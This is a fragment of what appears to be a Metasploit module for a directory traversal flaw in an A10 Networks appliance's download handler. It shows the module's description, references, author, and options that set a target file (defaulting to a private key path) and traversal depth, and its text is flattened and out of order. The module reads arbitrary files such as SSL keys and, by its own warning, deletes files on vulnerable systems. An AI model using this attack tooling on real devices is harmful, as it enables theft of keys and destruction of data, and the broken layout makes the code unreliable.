When handling a file download request, the xml/downloads class fails to properly check the 'filename' parameter, which can be abused to read any file outside the virtual directory. Important files include SSL certificates. This module works on both the hardware devices and the Virtual Machine appliances.

Because of this, the CONFIRM_DELETE option must be set to 'true' either manually or by script. }, 'References' => [ ['OSVDB', '102657'], ['BID', '65206'], ['EDB', '31261'] ], 'Author' => [ 'xistence' # Vulnerability discovery and Metasploit module ], 'License' => MSF_LICENSE, 'DisclosureDate' => '2014-01-28' )) register_options( [ OptString.new('TARGETURI', [true, 'The URI path to the web application', '/']), OptString.new('FILE', [true, 'The file to obtain', '/a10data/key/mydomain.tld']), OptInt.new('DEPTH', [true, 'The max traversal depth to root directory', 10]), OptBool.new('CONFIRM_DELETE', [true, 'Run the module, even when it will delete files', false]), ]) end def run unless datastore['CONFIRM_DELETE'] print_error("This module will delete files on vulnerable systems.
